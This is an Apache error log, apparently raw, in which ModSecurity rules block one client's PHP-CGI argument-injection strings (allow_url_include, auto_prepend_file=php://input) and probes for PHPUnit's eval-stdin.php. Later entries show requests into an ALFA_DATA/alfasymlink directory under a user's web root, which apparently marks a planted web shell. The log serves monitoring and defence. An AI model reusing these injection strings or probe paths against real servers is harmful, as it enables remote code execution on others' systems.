[Tue Oct 27 06:34:07.794147 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auB-HxpfUBgvi1kircRUKAAAABg"]
[Tue Oct 27 06:34:07.794439 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auB-HxpfUBgvi1kircRUKAAAABg"]
[Tue Oct 27 06:34:08.357286 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "auB-IBpfUBgvi1kircRUKQAAABg"]
[Tue Oct 27 06:34:08.357376 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "auB-IBpfUBgvi1kircRUKQAAABg"]
[Tue Oct 27 06:34:08.357856 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "auB-IBpfUBgvi1kircRUKQAAABg"]
[Tue Oct 27 06:34:08.358134 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "auB-IBpfUBgvi1kircRUKQAAABg"]
[Tue Oct 27 06:34:08.947201 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auB-IBpfUBgvi1kircRUKgAAABg"]
[Tue Oct 27 06:34:08.947274 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auB-IBpfUBgvi1kircRUKgAAABg"]
[Tue Oct 27 06:34:08.947762 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auB-IBpfUBgvi1kircRUKgAAABg"]
[Tue Oct 27 06:34:08.948006 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auB-IBpfUBgvi1kircRUKgAAABg"]
[Tue Oct 27 06:34:09.572175 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-IRpfUBgvi1kircRUKwAAABg"]
[Tue Oct 27 06:34:09.572635 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-IRpfUBgvi1kircRUKwAAABg"]
[Tue Oct 27 06:34:09.572972 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-IRpfUBgvi1kircRUKwAAABg"]
[Tue Oct 27 06:34:10.194615 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auB-IhpfUBgvi1kircRULAAAABg"]
[Tue Oct 27 06:34:10.195077 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auB-IhpfUBgvi1kircRULAAAABg"]
[Tue Oct 27 06:34:10.195353 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auB-IhpfUBgvi1kircRULAAAABg"]
[Tue Oct 27 06:34:10.882582 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-IhpfUBgvi1kircRULQAAABg"]
[Tue Oct 27 06:34:10.883171 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-IhpfUBgvi1kircRULQAAABg"]
[Tue Oct 27 06:34:10.883586 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-IhpfUBgvi1kircRULQAAABg"]
[Tue Oct 27 06:34:11.526820 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auB-IxpfUBgvi1kircRULgAAABg"]
[Tue Oct 27 06:34:11.527443 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auB-IxpfUBgvi1kircRULgAAABg"]
[Tue Oct 27 06:34:11.527839 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auB-IxpfUBgvi1kircRULgAAABg"]
[Tue Oct 27 06:34:12.128768 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auB-JBpfUBgvi1kircRULwAAABg"]
[Tue Oct 27 06:34:12.129208 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auB-JBpfUBgvi1kircRULwAAABg"]
[Tue Oct 27 06:34:12.129525 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auB-JBpfUBgvi1kircRULwAAABg"]
[Tue Oct 27 06:34:12.713068 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-JBpfUBgvi1kircRUMAAAABg"]
[Tue Oct 27 06:34:12.713617 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-JBpfUBgvi1kircRUMAAAABg"]
[Tue Oct 27 06:34:12.713930 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-JBpfUBgvi1kircRUMAAAABg"]
[Tue Oct 27 06:34:13.248724 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-JRpfUBgvi1kircRUMQAAABg"]
[Tue Oct 27 06:34:13.249204 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-JRpfUBgvi1kircRUMQAAABg"]
[Tue Oct 27 06:34:13.249523 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auB-JRpfUBgvi1kircRUMQAAABg"]
[Tue Oct 27 06:34:14.170610 2026] [ssl:error] [pid 3209601:tid 3209601] (5)Input/output error: [client 100.29.34.97:11334] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:34:26.165821 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 3.213.106.226:47882] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:34:38.192571 2026] [ssl:error] [pid 3209603:tid 3209603] (5)Input/output error: [client 44.212.232.231:57464] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:34:42.177786 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 35.173.38.202:30164] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:34:46.087422 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 185.191.171.15:62658] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:34:46.576031 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.167.32.123:57926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:34:50.195854 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 18.210.58.238:65109] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory10/node0/cpu1/firmware_node/physical_node/firmware_node/subsystem/drivers/hpet/unbind
[Tue Oct 27 06:34:54.168389 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 34.206.193.60:19534] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:34:57.450699 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 85.208.96.201:21300] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:34:58.253132 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.4.76.156:6191] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:35:02.166325 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.215.210.112:48044] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:35:18.202768 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.83.180.239:29090] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:35:22.323006 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.209.100.30:34361] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:35:30.248504 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.233.24.238:46418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:36:02.155790 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.203.65.83:18289] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:36:06.181605 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.215.221.125:43818] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:36:18.171313 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 52.73.6.26:46510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/driver/new_id
[Tue Oct 27 06:36:26.178471 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 44.216.172.204:57931] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup8/device/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/battery/unbind
[Tue Oct 27 06:36:38.191623 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 184.73.167.217:16806] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:36:42.231768 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.221.156.96:37593] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:36:46.161707 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 18.205.91.101:36898] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:37:06.383091 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 3.224.205.25:58457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:37:10.144152 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 44.194.134.53:16477] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/ec/bind
[Tue Oct 27 06:37:14.138981 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.205.141.124:3477] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:37:18.232900 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 3.224.104.67:11524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:16/eject
[Tue Oct 27 06:37:25.338677 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 85.208.96.201:17672] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:37:26.158155 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 18.235.81.246:28492] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:37:34.143443 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 44.218.6.93:39053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:02.0/subsystem/uevent
